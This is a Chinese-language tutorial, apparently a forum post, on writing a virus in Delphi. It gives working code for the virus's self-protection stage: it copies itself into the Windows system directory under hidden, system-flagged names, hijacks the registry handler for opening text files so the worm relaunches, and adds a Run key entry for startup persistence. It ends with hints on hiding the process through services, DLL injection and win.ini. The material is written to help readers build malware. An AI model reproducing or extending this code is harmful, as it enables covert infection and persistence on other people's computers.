可能大家想到病毒,第一反應就是可能是用asm來編寫,或者是vbsript,而高級語言如delphi就好象不能編寫一樣,其實事實并不是這個樣子的,只要我們花一些時間,照樣可以寫出簡短而高效的病毒程序來,一點也不輸那些用匯編寫出來的程序哦。
前言:
可能大家想到病毒,第一反應就是可能是用asm來編寫,或者是vbsript,而高級語言如delphi就好象不能編寫一樣,其實事實并不是這個樣子的,只要我們花一些時間,照樣可以寫出簡短而高效的病毒程序來,一點也不輸那些用匯編寫出來的程序哦。
一個病毒程序首先要短小,我們的目標是經過壓縮后控制在30k以下。用過delphi的朋友都知道,如果在uses里面加入forms,classes.....等就會使目標文件非常的大,所以,在我們的程序里,我們要盡可能的不用這些庫。我們只用windows,winsock,shellapi,sysutils(這個里面包含了一些常用的函數,比如對文件的操作,對字符串的操作,如果用自己的程序來代替,目標文件會更加的小)
首先,我們知道,一個病毒程序一般都分下面三個模塊:
①保護模塊;
②感染模塊;
③發作模塊。
下面我們就從這三個模塊開始,分別實現他們的代碼。
一)保護模塊。
一般,我們都是把自身拷貝到系統的一些目錄里,比如%systemroot%。那么,我們首先要取得這些特定的目錄的路徑sdk里面給我們提供了一個這樣的函數GetSystemDirectory :
| UINT GetSystemDirectory( LPTSTR lpBuffer, // 存放返回的字符串的緩沖區 UINT uSize // 上面的緩沖去的長度 ); |
相關的函數還有GetWindowsDirectory可以得到%windows%的路徑
得到了系統的目錄后,第二步就是拷貝文件了。sdk為我們提供了一個函數copyfile :
| BOOL CopyFile( LPCTSTR lpExistingFileName, // 源文件的路徑 LPCTSTR lpNewFileName, // 目標文件的路徑 BOOL bFailIfExists // 這是一個標志,如果目標文件已經存在,是否強制覆蓋 ); |
拷貝文件完畢后,我們來把這個文件設置為系統和隱藏,那么一般情況是看不見該文件的,除非選取查看所有文件,以及顯示受保護文件。 同樣,介紹一個函數SetFileAttributes :
| BOOL SetFileAttributes( LPCTSTR lpFileName, // 需要設置的文件的文件名 DWORD dwFileAttributes // 設置的值。 ); |
我們這里要設置為隱藏和系統,那么就為第二個參數傳遞FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM
下面就是最重要的,讓該文件開機自動運行,我們一般都是寫注冊表,首先用RegOpenKey函數來打開一個鍵。
| LONG RegOpenKey( HKEY hKey, // 主鍵,比如HKEY_LOCAL_MACHINE LPCTSTR lpSubKey, // 跟隨的subkey PHKEY phkResult // 存放函數返回這個打開的鍵的句柄 ); |
得到了HKEY后,就可以用regsetvalueex來向該鍵寫具體的值了。
| LONG RegSetvalueEx( HKEY hKey, // 這個就是剛才我們得到的句柄 LPCTSTR lpvalueName, // 鍵名的地址 DWORD Reserved, // 一般設置為0 DWORD dwType, // 我們寫的鍵的類型,字符串為REG_SZ CONST BYTE *lpData, // 鍵值的地址 DWORD cbData // 寫入的鍵值的長度 ); |
下面,我綜合上面的說明來給出一個簡短的例子:
| procedure SelfCopy; var Path,value:array [0..255] of char; Hk:HKEY; S:string; begin GetSystemDirectory(Path,256); //取得系統的路徑 s:=strpas(Path); //轉換成字符串 CopyFile(pchar(paramstr(0)),pchar(S+‘/ruin.exe‘),false); CopyFile(pchar(paramstr(0)),pchar(S+‘/virus_ruin.exe‘),false); //把自身拷貝到系統目錄下為ruin.exe,virus_ruin.exe SetFileAttributes(pchar(S+‘/ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); SetFileAttributes(pchar(S+‘/virus_ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); //設置剛才的兩個文件為系統和隱藏 RegOpenKey(HKEY_CLASSES_ROOT,‘txtfile/shell/open/command‘,Hk); value:=‘virus_ruin.exe %1‘; RegSetvalueEx(Hk,‘‘,0,REG_SZ,@value,17); //把virus_ruin.exe和文本文件關聯 RegOpenKey(HKEY_LOCAL_MACHINE,‘Software/Microsoft/Windows/CurrentVersion/Run‘,Hk); value:=‘ruin.exe‘; RegSetvalueEx(Hk,‘ruin‘,0,REG_SZ,@value,8); //設置開機自動運行ruin.exe end; |
我們看上面的這個程序,就完成了自我復制,和開機自動運行,并且關聯了文本文件,這樣,如果run下的鍵被刪除,那么他打開文本文件,蠕蟲文件又被激活。
不過這個樣子,你就需要在你的主程序里面進行判斷,如果傳遞的參數等于1 ,則打開該文本,并且進行自我保護。
如:
| begin if paramcount=1 then shellexecute(0,‘open‘,‘notepad.exe‘,pchar(paramstr(1)),nil,sw_normal); //其他的代碼 |
這里,我只是給出一個簡單的例子來描述出一個大概的思路,很多地方還不完善,比如進程的隱藏,你可以進行判斷,如果是98你可以registerserverapplication如果你是用的2000,你可以做為服務啟動,或者是插入dll,或者是用求職信的方法,開機加載一個dll,或者是win.ini。
